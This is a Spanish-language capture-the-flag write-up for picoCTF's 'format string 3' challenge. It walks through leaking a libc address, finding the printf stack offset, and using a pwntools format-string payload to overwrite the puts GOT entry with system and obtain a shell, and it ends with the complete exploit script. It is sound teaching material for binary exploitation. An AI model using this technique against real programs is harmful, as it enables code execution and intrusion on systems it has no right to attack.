Format strings 3

July 19, 20254 minutes
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
Dentro de la función main se llama a la función hello, esta función lo que hace es mostrar la dirección de setvbuf.
$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fbd196e53f0
A partir de esta dirección si se le resta el offset de setvbuf se obtiene la dirección base de libc. Para sacar durante la ejecución dicha dirección, automatice el proceso con el siguiente script
#!/usr/bin/env python3
from pwn import *
exe = ELF("./format-string-3_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("rhea.picoctf.net", 63663)
return r
def main():
r = conn()
output = r.recvline()
output = r.recvline()
output = output.split(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")[1].strip(b'\n')
output = int(output, 16)
print(f"Leak setvbuf: {hex(output)}")
base_libc = output - libc.symbols['setvbuf']
print(f"Base libc: {hex(base_libc)}")
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux format_strings_3]$ python3 solve.py LOCAL
Leak setvbuf: 0x7f7fa2c943f0
Base libc: 0x7f7fa2c1a000
Más adelante el programa pide un input, el cual luego imprime por pantalla con un printf sin especificar el tipo, haciéndolo vulnerable a format strings.
Por último el programa hace un puts de /bin/sh
char *normal_string = "/bin/sh";
....
puts(normal_string);
Parece que el objetivo es claro, mediante format strings llegar a sobreescribir la tabla GOT para que al llamar a puts sea como si se llamase a system, así en vez de imprimir /bin/sh lo ejecutara, cabe recalcar que esto no se podría hacer si tuviera Full RELRO, pero en este caso tiene Partial RELRO
[*] '/home/d3bo/Desktop/ctf/pico/format_strings_3/format-string-3_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Para aplicar esta técnica, primero se necesita identificar en qué posición de los argumentos del printf se encuentra el input. Para ello, se puede enviar una cadena como “AAAAAAA %p %p %p …” y observar en la salida en qué posición aparece el valor 0x4141414141414141, que representa las “A” en formato hexadecimal. Esto permite determinar el offset en el que se está filtrando el input dentro de la pila.
[d3bo@archlinux format_strings_3]$ ./format-string-3
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7fc57bf673f0
AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x7fc57c0c5963 0xfbad208b 0x7ffcfec242e0 0x1 (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) 0x4141414141414141 0x2070252070252020 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070
/bin/sh
Lo siguiente necesario es conocer la dirección de system
libc.address = base_libc
system = libc.sym["system"]
Esa dirección de system hay que escribirla en la dirección de puts en la tabla GOT, esa dirección se puede obtener con:
exe.got['puts']
Para craftear el payload final use la función de pwntools llamada fmtstr_payload en la cual hay que especificarle el offset, la dirección de puts y la dirección de system.
payload = fmtstr_payload(38, {puts : system})
Una vez crafteado el payload solo queda mandarlo
r.sendline(payload)
r.interactive()
[d3bo@archlinux format_strings_3]$ python3 solve.py LOCAL
Leak setvbuf: 0x7f911b8393f0
Base libc: 0x7f911b7bf000
System addr: 0x7f911b80e760
[*] Switching to interactive mode
c \x8bc \x90 \x01 \x00a\x18@@$ l
$ whoami
d3bo
$
Script Final
#!/usr/bin/env python3
from pwn import *
exe = ELF("./format-string-3_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("rhea.picoctf.net", 63663)
return r
def main():
r = conn()
output = r.recvline()
output = r.recvline()
output = output.split(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")[1].strip(b'\n')
output = int(output, 16)
print(f"Leak setvbuf: {hex(output)}")
base_libc = output - libc.symbols['setvbuf']
libc.address = base_libc
system = libc.sym["system"]
print(f"Base libc: {hex(base_libc)}")
print(f"System addr: {hex(system)}")
puts = exe.got['puts']
payload = fmtstr_payload(38, {puts : system})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()